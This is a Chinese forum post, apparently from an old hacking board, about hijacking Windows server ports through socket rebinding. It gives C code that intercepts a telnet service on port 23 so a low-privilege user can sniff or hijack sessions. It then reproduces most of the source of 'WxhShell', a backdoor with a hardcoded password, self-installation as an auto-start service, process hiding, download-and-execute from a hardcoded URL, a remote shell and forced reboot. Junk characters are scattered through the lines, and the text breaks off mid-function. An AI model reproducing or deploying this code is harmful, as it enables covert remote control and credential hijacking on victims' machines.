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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r8FAV9A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y] Cx[  
A^0-%Ygl  
  saddr.sin_family = AF_INET; *]kE3  
]x3 )OjH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tEibxE  
=U:]x'g(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xcJvXp  
v{\~>1J{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?q5HAIZ`  
"[Tr"nI  
  这意味着什么?意味着可以进行如下的攻击: \(5Bi3PA}  
td#m>S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F1`mq2^@  
WCp[6g&%O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W^3'9nYU  
/T 6Te<68^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eMH\]A~v"  
otP2qAI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mj9]M?]  
^4saB+qm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `X`|]mWj  
-r0oO~KT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1fF\k#BE-%  
({!*&DVu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 , -Lv3  
];0:aSi#  
  #include a$6pA@7}  
  #include q#Ik3 5  
  #include o`}8ZtD  
  #include    _)# ~D*3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $>%zNq-F  
  int main() "M]`>eixL  
  { ,z0E2  
  WORD wVersionRequested; ? 5hwz  
  DWORD ret; IRI<no  
  WSADATA wsaData; r8L'C  
  BOOL val; `"bp -/  
  SOCKADDR_IN saddr; %,)Xi  
  SOCKADDR_IN scaddr; GuJIN"P]  
  int err; lx~mn~;x  
  SOCKET s; 6r,zOs-I]  
  SOCKET sc; Ob -k`@_|  
  int caddsize; ]O+Nl5*  
  HANDLE mt; a.AEF P4N  
  DWORD tid;   z7lbb*Xe  
  wVersionRequested = MAKEWORD( 2, 2 ); V0:db  
  err = WSAStartup( wVersionRequested, &wsaData ); ;WL0  
  if ( err != 0 ) { DAd$u1  
  printf("error!WSAStartup failed!\n"); 0 f"M-x  
  return -1; hM`*- +Zb  
  } /M_kJe,%  
  saddr.sin_family = AF_INET; !E\J`K0_e  
   XpOQBXbt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qk(u5Z  
.s@[-! p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k8"[)lDc.  
  saddr.sin_port = htons(23); ) $I"LyK)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , Onu%  
  { W-ECmw(  
  printf("error!socket failed!\n"); >(a/K2$*1  
  return -1; i'vjvc~  
  } px_%5^zRQ  
  val = TRUE; h'G8@j;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -3:x(^|:K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <3Hu(Jx<O  
  { +UP?M4g  
  printf("error!setsockopt failed!\n"); )F35WP~  
  return -1; jl4rEzVu  
  } N DV_/BI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u8@>ThPD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  /=7[Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S-+^L|  
.c.#V:XZ#U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uw@|Y{(K r  
  { |4a#O8d  
  ret=GetLastError(); ub] w"N  
  printf("error!bind failed!\n"); YEqWTB|w  
  return -1;  ?2b9N~  
  } nS1 D&;#Y  
  listen(s,2); >j$CM:w  
  while(1) )Hy|K1  
  { =>6'{32W_  
  caddsize = sizeof(scaddr); Ws`P(WHm  
  //接受连接请求 1cdM^k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8~|PZ,oZ  
  if(sc!=INVALID_SOCKET) $Mp#tH28  
  { D?Q{&6p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); : LI*#~'Ka  
  if(mt==NULL) #`4ma:Pj  
  { rB:W\5~7  
  printf("Thread Creat Failed!\n"); YvK8;<k@-?  
  break; p`JD8c  
  } X^H)2G>e  
  } mko<J0|4  
  CloseHandle(mt); O(PG"c  
  } y85/qg) H^  
  closesocket(s); ;[@< ,  
  WSACleanup(); ]f q.r  
  return 0; Ij}RlYQz  
  }   \6xVIQ& 0  
  DWORD WINAPI ClientThread(LPVOID lpParam) BUcze\+  
  { ; ,]T|> M  
  SOCKET ss = (SOCKET)lpParam; GV([gs  
  SOCKET sc; dg 4 QA_"  
  unsigned char buf[4096]; i1 ?H*:]  
  SOCKADDR_IN saddr; x,z+l-y  
  long num; DxT8;`I%  
  DWORD val; ,P<n\(DQ  
  DWORD ret; Jx@3zl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ND7 gxt-B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   70L{u+wIy  
  saddr.sin_family = AF_INET; ?y7x#_Exc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (AdQ6eGMb  
  saddr.sin_port = htons(23); PK5xnT:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |[?"$g9v  
  { [= -?n6  
  printf("error!socket failed!\n"); hX]vZR&R  
  return -1; FMuM:%&J]  
  } 1 {dhGX  
  val = 100; [dL4u^]{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k9.2*+vvg  
  { ~w'M8(  
  ret = GetLastError(); jnX9] PkJ  
  return -1; n97A'"'wz  
  } |?SK.1pW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E[>4b7{g:  
  { e/E fWwqt  
  ret = GetLastError(); HP2]b?C  
  return -1; 3ADT Yt".  
  } INsc!xOQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i3*S`/]p  
  { hV/$6 8A_  
  printf("error!socket connect failed!\n"); *BT-@V.4  
  closesocket(sc); |Z<NM#1  
  closesocket(ss); CEE`nn  
  return -1; lN)U8  
  } }| _uqvin  
  while(1) S,EXc^A7  
  { ,YJ\ $?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0}k[s+^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7E4=\vM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +s c|PB  
  num = recv(ss,buf,4096,0); q-3%.<LL  
  if(num>0) !MNUp(:  
  send(sc,buf,num,0); |r!G(an1x4  
  else if(num==0) R}a,.C  
  break; nk]jIR y^T  
  num = recv(sc,buf,4096,0); el39HB$  
  if(num>0) $$2\qN -  
  send(ss,buf,num,0); b&B<'Wb  
  else if(num==0) 0Np }O=>  
  break; cOth q87:  
  } s (J,TS#I]  
  closesocket(ss); bN@V=C3  
  closesocket(sc); tWD~|<\. )  
  return 0 ; 1g5%Gr/0$5  
  } ScYw3i  
G*ZHLLO4S\  
a;D{P`%n  
========================================================== xWD=",0+  
:f?\ mVS+  
下边附上一个代码,,WXhSHELL qi_[@da f?  
&i4*tE3],  
========================================================== ?N<* ATC L  
:O)\v!Z  
#include "stdafx.h" \1hbCv$Hf  
W~k"`g7uu  
#include <stdio.h> k:Sxs+)?1  
#include <string.h> Q5b?- P  
#include <windows.h> <Vm+Lt9  
#include <winsock2.h> RxY ;'NY  
#include <winsvc.h> 4<)%Esyb  
#include <urlmon.h> 3:X3n\z  
-bu.Ar-#;h  
#pragma comment (lib, "Ws2_32.lib") qP6]}Aj]  
#pragma comment (lib, "urlmon.lib") *x2+sgSf_0  
VG^*?62  
#define MAX_USER   100 // 最大客户端连接数 RrRrB"!8nR  
#define BUF_SOCK   200 // sock buffer N^pTj<M<g  
#define KEY_BUFF   255 // 输入 buffer d76k1-m\o  
I4:4)V?  
#define REBOOT     0   // 重启 wd2GKq!  
#define SHUTDOWN   1   // 关机 (wU<Kpt?J  
}&Un8Rg"h  
#define DEF_PORT   5000 // 监听端口 y{+$B Y$_  
\:9dt8(-U  
#define REG_LEN     16   // 注册表键长度 j}3Avu%  
#define SVC_LEN     80   // NT服务名长度 m.e+S,i  
S#6{4x4  
// 从dll定义API e3,TY.,Ay  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x1</%y5ev  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ma[%,u`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QE*O~Yj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iZ % KHqG  
 \B) a57  
// wxhshell配置信息 V TQ V]>|  
struct WSCFG { e\%+~GUTC=  
  int ws_port;         // 监听端口 EjW3_ %  
  char ws_passstr[REG_LEN]; // 口令 u :AKp<'  
  int ws_autoins;       // 安装标记, 1=yes 0=no H6%QM}t  
  char ws_regname[REG_LEN]; // 注册表键名 ivDmPHj{  
  char ws_svcname[REG_LEN]; // 服务名 ZDuP|" ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f#mBMdj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !D6   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {\z&`yD@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u UXj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "} =RPc%9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xmr|k:z  
ap;?[B~Ga  
}; ,PC'xrEo  
[mwJ*GJ-  
// default Wxhshell configuration 4Gz5Ju  
struct WSCFG wscfg={DEF_PORT, jej|B#?`  
    "xuhuanlingzhe", l3kYfq{";"  
    1, 8w1TX [b  
    "Wxhshell", (1pI#H"f9  
    "Wxhshell", 8>^(-ca_  
            "WxhShell Service", !-%fCg(B  
    "Wrsky Windows CmdShell Service", aDEz |>q  
    "Please Input Your Password: ", 7OuzQzhcK  
  1, >Y,3EI\  
  "http://www.wrsky.com/wxhshell.exe", GP=i6I6C  
  "Wxhshell.exe" -+MGs]),  
    }; W=b<"z]RE  
74f3a|vx/  
// 消息定义模块 T}')QC&wQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V)x(\ls]SX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /tIR}qK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :eIPPh|\  
char *msg_ws_ext="\n\rExit."; { a2Y7\C/  
char *msg_ws_end="\n\rQuit."; S}fU2Wi  
char *msg_ws_boot="\n\rReboot..."; ttQX3rmF01  
char *msg_ws_poff="\n\rShutdown..."; >6 p <n  
char *msg_ws_down="\n\rSave to "; BC!n;IAe  
F:$Dz?F0v  
char *msg_ws_err="\n\rErr!"; (EZ34,k'S  
char *msg_ws_ok="\n\rOK!"; 2hB';Dv  
yWS #{| o(  
char ExeFile[MAX_PATH]; OPm ?kr  
int nUser = 0; }m '= _u  
HANDLE handles[MAX_USER]; >R|*FYam  
int OsIsNt; ?Q$LIoR  
Z)iRc$;  
SERVICE_STATUS       serviceStatus; CR*9-Y93  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nq'vq] ]  
$#Mew:J  
// 函数声明 RX]x3-  
int Install(void); In1VW|4h  
int Uninstall(void); X`,4pSQ;  
int DownloadFile(char *sURL, SOCKET wsh); NF?FEUoxz  
int Boot(int flag); R<r"jOd]  
void HideProc(void); qg7] YT&  
int GetOsVer(void); @(:ah  
int Wxhshell(SOCKET wsl); |. bp  
void TalkWithClient(void *cs); R'E8>ee; ^  
int CmdShell(SOCKET sock); O5"o/Y~m  
int StartFromService(void); Ef fp^7 3  
int StartWxhshell(LPSTR lpCmdLine); U3ygFW%  
to0tH^pD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6r"PtHr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S6sSdo'  
!U02>X   
// 数据结构和表定义 ?$O5w*  
SERVICE_TABLE_ENTRY DispatchTable[] = MSEBv Z-  
{ K;2]c3T  
{wscfg.ws_svcname, NTServiceMain},  ]Ll <  
{NULL, NULL} Z=: oIAe  
}; DdI7%?hK  
gbc^Lb  
// 自我安装 nG#lrYZw  
int Install(void) -t9oL3J  
{ v}6YbY Tq  
  char svExeFile[MAX_PATH]; !$q1m@K1  
  HKEY key; qa![oMKc  
  strcpy(svExeFile,ExeFile); =goZI67  
UI~ENG  
// 如果是win9x系统,修改注册表设为自启动 :oB4\/(G#  
if(!OsIsNt) { .?SClTqg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;WIL?[;w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *$(=I6b  
  RegCloseKey(key); v9~Hl   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XEqg%f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =J8)Z'Jr  
  RegCloseKey(key); BfOG e!Si  
  return 0; |-7<?aw"  
    } )Jx!VJ^Y  
  } 4Uz:zB  
} $8&HpX#h$  
else {  OU=9fw  
Y6A]dk  
// 如果是NT以上系统,安装为系统服务 .Jdw:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [Hdk=p  
if (schSCManager!=0) @{_PO{=\C  
{ '4sT+q  
  SC_HANDLE schService = CreateService +ZXGT  
  ( 'OGOT0(  
  schSCManager, 5q]u:  
  wscfg.ws_svcname, OxF\Hm)(  
  wscfg.ws_svcdisp, #)R;6"  
  SERVICE_ALL_ACCESS, }jU{RR%6B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~E^EF{h   
  SERVICE_AUTO_START, |~H'V4)zXu  
  SERVICE_ERROR_NORMAL, 1jmhh !,  
  svExeFile, _0F6mg n  
  NULL, zJ9ZqC]  
  NULL, xSb/9 8;  
  NULL, gb(\c:yg1R  
  NULL, -lL*WA`  
  NULL (Xq eX(s  
  ); o\]e}+1[o  
  if (schService!=0) !xo@i XL  
  { Cw{#(xX  
  CloseServiceHandle(schService); 54F([w  
  CloseServiceHandle(schSCManager); ^e>v{AE%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d; #9xD'  
  strcat(svExeFile,wscfg.ws_svcname); EZP2Bb5g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6lT'%ho}B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d+T]EpQJ*  
  RegCloseKey(key); 3"[ KXzn  
  return 0; ^ioTd  
    } \yG_wZs  
  } =As'vt 0  
  CloseServiceHandle(schSCManager); 56<LMY|d  
} HTqikw5X  
} q=?"0i&V  
&I(|aZx?J  
return 1; i0AC.]4e"  
} G|O"Kv6  
&\p :VF.  
// 自我卸载 #-lk=>  
int Uninstall(void) *R~oA`  
{ M.OWw#?p:_  
  HKEY key; t1Jz?Ix6%  
coLn};W2  
if(!OsIsNt) { >a4Bfnf"eI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jB1\L<P  
  RegDeleteValue(key,wscfg.ws_regname); df J7Dhn  
  RegCloseKey(key); W' 2)$e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )d.7xY7!  
  RegDeleteValue(key,wscfg.ws_regname); 2PeI+!7s  
  RegCloseKey(key); Gc 8  
  return 0; y mE`V  
  } t o?"{  
} HdnSs0 /  
} #ASu SQ  
else { pH~JPNng  
',&MYm\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^#t<ILUa  
if (schSCManager!=0) r2Z`4tN:  
{ r=[}7N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cXCczqabv  
  if (schService!=0) :YI>AaYWDO  
  { w6yeX<!ll  
  if(DeleteService(schService)!=0) { $7bmUQ|  
  CloseServiceHandle(schService); v4.V%tg!  
  CloseServiceHandle(schSCManager); |$w-}$jq5  
  return 0; 0ND7F  
  } UD(#u3z  
  CloseServiceHandle(schService); 'Hia6 <m3  
  } p}!pT/KmpH  
  CloseServiceHandle(schSCManager); U{}7:&As  
} ropiyT9;  
} Oxvw`a#  
1e+?O7/  
return 1; puyL(ohem  
} N}h%8\  
f:0n-me  
// 从指定url下载文件 +]zP $5_e  
int DownloadFile(char *sURL, SOCKET wsh) +~v(*s C  
{ )gLasR.1  
  HRESULT hr; }<S2W\,G  
char seps[]= "/"; CYu8J@(\~g  
char *token; H}~^,B2;  
char *file; U Oo(7  
char myURL[MAX_PATH]; p[GyQ2k)  
char myFILE[MAX_PATH];  zVa+5\Q  
`ouzeu9}  
strcpy(myURL,sURL); :F\f}G3  
  token=strtok(myURL,seps); <coCu0  
  while(token!=NULL) el%Qxak`"  
  { a+i+#*8wm  
    file=token; lTP02|eK  
  token=strtok(NULL,seps); i5"q1dRQ  
  } m t^1[  
BSf"'0I&  
GetCurrentDirectory(MAX_PATH,myFILE); . gJKr  
strcat(myFILE, "\\"); >KFJ1}b|3  
strcat(myFILE, file); :<gk~3\  
  send(wsh,myFILE,strlen(myFILE),0); g1|c?#fwo  
send(wsh,"...",3,0); :JIPF=]fc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9="sx 8?  
  if(hr==S_OK) ~dLZ[6Z  
return 0; +bn w,B><  
else xTZ5q*Hqx  
return 1; -`UlntEdZ:  
Fm':sd)'X  
} Y c kbc6F  
QEKFuY<E+  
// 系统电源模块 xn8B|axB  
int Boot(int flag) lg+g:o  
{ A~V\r<N j  
  HANDLE hToken; Se8y-AL6x>  
  TOKEN_PRIVILEGES tkp; EYG E#C; d  
tW>R 16zq  
  if(OsIsNt) { v!xrUyN~m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BaAb4{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hrnql  
    tkp.PrivilegeCount = 1; \[EWxu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |plo65  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f:5/y^M&  
if(flag==REBOOT) { X~3P?O]kFv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4/WCs$  
  return 0; / nFw  
} e~;)-Z  
else { vKC&Qi ;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P;L Z!I  
  return 0; ?/MXcI(  
} Y{|yB  
  } 1I_q3{  
  else { Xy<f_  
if(flag==REBOOT) { eE%yo3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m0\}Cc  
  return 0; @ -d4kg  
} [frD L)  
else { _PXo'*j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 12xP)*:$  
  return 0; *AR<DXE L  
} 5yi q#  
} >%dAqYi $  
'|N4fbZd  
return 1; jdf)bO(9#  
} &"%|`gE  
u>6/_^iq  
// win9x进程隐藏模块 kGV`Q  
void HideProc(void) `f+g A  
{ `1<3Hu_  
gr{Sh`Cm-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XPo'iI-  
  if ( hKernel != NULL ) G0Tc}_o<Y  
  { \1C!,C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YPDsE&,J)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w!w _`7[  
    FreeLibrary(hKernel); SJ7=<y}[d  
  } '/gwC7*-&  
qgsE7 ]  
return; dS_)ll.6z  
} A""*vqA  
xWe1F2nY  
// 获取操作系统版本 zRE8299%z  
int GetOsVer(void) A<CXdt+t  
{ Xb:BIp!e  
  OSVERSIONINFO winfo; (DP9& b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xj q7%R_,  
  GetVersionEx(&winfo); 4U;XqUY /  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MGKeD+=5  
  return 1; f%[ukMj&  
  else #L= eK8^e  
  return 0; gIM'bA<~  
} }d\Tk(W  
J}_Dpb[L  
// 客户端句柄模块 /A))"D  
int Wxhshell(SOCKET wsl) ;(0$~O$3u  
{ RHl=$Hm.%  
  SOCKET wsh; ig _<kj;Vd  
  struct sockaddr_in client; mS~ ]I$  
  DWORD myID; zM r!WoW  
HGQ?(2]8$  
  while(nUser<MAX_USER) <CKmMZ{  
{ !a&SB*%^I3  
  int nSize=sizeof(client); qM!f   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z>p`!-'ID  
  if(wsh==INVALID_SOCKET) return 1; QT= ,En  
,ibPSN5Ca  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /b:t;0G  
if(handles[nUser]==0) &<|-> *v  
  closesocket(wsh); L8]{B  
else [+MX$y  
  nUser++; G!VF*yW8  
  } 8u'O` j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LQ(5D_yG.  
*xo;pe)9  
  return 0; 87pXv6'FQ  
} 4,F3@m:<  
^?7dOW  
// 关闭 socket y-\A@jJC5  
void CloseIt(SOCKET wsh) 9ze|s^  
{ %X"m/4c8}  
closesocket(wsh); z1'FmwT  
nUser--; z'oiyXEE3  
ExitThread(0); 4`U0">gY  
} ?cs]#6^  
:IVk_[s  
// 客户端请求句柄 %t`SSW7I  
void TalkWithClient(void *cs) ;w6fM  
{ puS&S *  
E<<p_hX8R  
  SOCKET wsh=(SOCKET)cs; wLOQhviI^-  
  char pwd[SVC_LEN]; ]KXMGH_  
  char cmd[KEY_BUFF]; G=Hf&l  
char chr[1]; y5/'!L)g  
int i,j; '{0[&i*  
V'"I9R'1  
  while (nUser < MAX_USER) { IObx^N_K  
1O7]3&L@  
if(wscfg.ws_passstr) { rXY;m-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9:%n=URd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !0ce kSesr  
  //ZeroMemory(pwd,KEY_BUFF); }{5mH:  
      i=0; Q'|0?nBOY  
  while(i<SVC_LEN) { ^IVe[P'  
/BMtcCPG!  
  // 设置超时 JvfQib  
  fd_set FdRead; V\6(d  
  struct timeval TimeOut; fimb]C I|x  
  FD_ZERO(&FdRead); OQ(D5GR:4  
  FD_SET(wsh,&FdRead); SLtSqG7~  
  TimeOut.tv_sec=8; s !#HZK  
  TimeOut.tv_usec=0; @8=vFP'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ' :\fl.b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $T?*0"Mj[  
Q PFeBl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iW|s|1mh3  
  pwd=chr[0]; k7^R,.c@  
  if(chr[0]==0xd || chr[0]==0xa) { Mlv<r=E  
  pwd=0; ,Z>wbMJig  
  break; -B1YZ/.rz"  
  } T&r +G!2  
  i++; FXx.$W  
    } |JUe>E*  
E@w[&#  
  // 如果是非法用户,关闭 socket $ph0ag+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K8?zgRG3~N  
} b'velj3A  
],8;eq%W)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "~u_\STn <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \bhOPK>w  
F:%^&%\  
while(1) { N-[n\}'  
dQ:?<zZ  
  ZeroMemory(cmd,KEY_BUFF); g b -Bxf  
* R%.a^R  
      // 自动支持客户端 telnet标准   Lf >YdD  
  j=0; n0_B(997*  
  while(j<KEY_BUFF) { W_^>MLq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *^'wFbaBO  
  cmd[j]=chr[0]; hwiKOP  
  if(chr[0]==0xa || chr[0]==0xd) { hM~eJv  
  cmd[j]=0; {G]?{c)"  
  break; Bn\l'T  
  } osl=[pm  
  j++; (]2<?x*  
    } JwZ?hc  
AzZJG v ]H  
  // 下载文件 wG+=}1X  
  if(strstr(cmd,"http://")) { 3[VWTq)D=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tJ"az=?  
  if(DownloadFile(cmd,wsh))  }mKwFVZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Akd8}nf~  
  else _R)&k%i}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z | We9%  
  } MEEAQd<*  
  else { @%c81rv?  
gI)u}JX  
    switch(cmd[0]) { c15r':.5  
  V] rhVMA  
  // 帮助 G]4OFz+  
  case '?': { i3\~Qj;1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +semfZ)  
    break; W<v_2iVu  
  } {7qA&c=  
  // 安装 B| tzF0;c  
  case 'i': { `m%:rE,  
    if(Install()) RX'-99M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .]P2}w)x?  
    else SG:bM7*1'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7:TO\0]2n  
    break; A[`G^ $  
    } /PXioiGcs  
  // 卸载 ]*3:DU  
  case 'r': { D{cZxI  
    if(Uninstall()) `}gdN};  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |g<*Rk0  
    else FQROK4x%"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]dG\j^e|  
    break; Hd%! Nt\u  
    } @uM EXP  
  // 显示 wxhshell 所在路径  / +1{  
  case 'p': { A2NF<ZsD  
    char svExeFile[MAX_PATH]; 4PWAGuN^  
    strcpy(svExeFile,"\n\r"); R-  
      strcat(svExeFile,ExeFile); \5TxE  
        send(wsh,svExeFile,strlen(svExeFile),0); rA1q SG~c  
    break; F\:(*1C  
    } OR4!YVVQ  
  // 重启 a }'->H  
  case 'b': { rk|a5-i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "'a* [%  
    if(Boot(REBOOT)) )DT|(^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LnFWA0y  
    else { ZCYS\E 7X  
    closesocket(wsh); Tfx :"u  
    ExitThread(0); ufrqsv]=  
    } RJ~ %0  
    break; >o~Z>lr  
    } # ??%B  
  // 关机 vfwA$7N  
  case 'd': { }gGkV]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k1='c7s  
